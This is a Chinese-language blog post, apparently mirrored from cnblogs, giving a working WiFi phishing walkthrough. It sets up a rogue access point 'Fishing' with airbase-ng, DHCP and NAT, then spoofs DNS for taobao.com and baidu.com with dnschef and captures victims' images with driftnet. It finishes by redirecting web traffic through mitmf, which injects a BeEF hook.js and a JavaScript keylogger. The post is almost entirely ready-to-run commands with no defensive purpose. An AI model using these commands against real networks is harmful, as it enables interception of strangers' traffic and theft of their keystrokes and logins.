zoukankan      html  css  js  c++  java
  • WiFi钓鱼

    建立热点

    工具:isc-dhcp-server  ;Aircrack-ng套件;iptables

    建立过程:

    首先写dhcp配置文件/etc/dhcp/dhcpd.conf 

    写入如下内容:

    authoritative;
    
    default-lease-time 700;
    max-lease-time 8000;
    
    subnet 10.0.0.0 netmask 255.255.255.0 {
    option routers 10.0.0.1;
    option subnet-mask 255.255.255.0;
    
    option domain-name-servers 10.0.0.1;
    
    range 10.0.0.10 10.0.0.100;
    
    }

    这里以10.0.0.1作为网关和dns服务器地址。

    然后我们处理无线网卡

    ifconfig wlan1 down           #wlan1修改成你的网卡
    iwconfig wlan1 mode monitor
    ifconfig wlan1 up
    airmon-ng start wlan1

    上述命令可以防止出现:Error: Got channel -1, expected a value > 0.

    然后用airbase建立热点

    airbase-ng -e Fishing -c 11 mon0

    热点的网络流量会被虚拟到at0这块网卡上面

    ifconfig at0 up
    ifconfig at0 10.0.0.1 netmask 255.255.255.0
    route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1

    打开ip转发

    echo 1 > /proc/sys/net/ipv4/ip_forward

    开启dhcp

    dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
    service isc-dhcp-server start

    然后可以试着用手机连接,应该可以连上但上不了网

    于是配置NAT

    iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE #对eth0进行源nat
    iptables -A FORWARD -i wlan1 -o eth0 -j ACCEPT #把无线网卡流量转发到有线网卡(或者什么能上网的网卡)上面
    iptables -A FORWARD -p tcp --syn -s 10.0.0.0/24 -j TCPMSS --set-mss 1356 #修改最大报文段长度

    劫持DNS

    工具:dnschef

    过程:

    dnschef -i 10.0.0.1 --nameserver 210.73.64.1#53

    上述命令是以ip10.0.0.1(上文中的fakeap网关和DNS的ip)建立dns,对于所有请求转发到210.73.64.1进行解析。显然这只是个“代理”并没有劫持的功效

    于是我们进化:

    dnschef --fakedomains=taobao.com,baidu.com --fakeip=10.0.0.1 -i 10.0.0.1 --nameserver 210.73.64.1#53

    把淘宝和百度解析到本机了。

    图片嗅探

    这是一个很好玩的功能

    工具:driftnet

    过程:

    driftnet -i at0

    单击图片保存到/

    当然可以开启 Adjunct mode:

    driftnet -i at0 -a

    直接保存图片并显示文件名。

    劫持Web流量

    工具:BEEF;mitmf;iptables

    过程:

    先把80端口的流量劫持走(这里10000是mitmf默认监听端口)

    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

    然后打开mitmf

    mitmf -i at0 --replace --search-str aaaaa  --replace-str bbbbb#把所有网页中的aaaaa替换成bbbbb
    mitmf -i at0 --inject --js-url http://10.0.0.1:3000/hook.js --jskeylogger

    mitmf在这里注入了js键盘记录器

  • 相关阅读:
    c++ 与 c 的区别
    c++ 查看程序运行时间
    串口阻塞与非阻塞
    串口缓冲区
    马拉车算法
    printf 自加自减
    stack
    长度问题
    PCIE的内存地址空间、I/O地址空间和配置地址空间
    数组和指针
  • 原文地址:https://www.cnblogs.com/journeyIT/p/8260392.html
Copyright © 2011-2022 走看看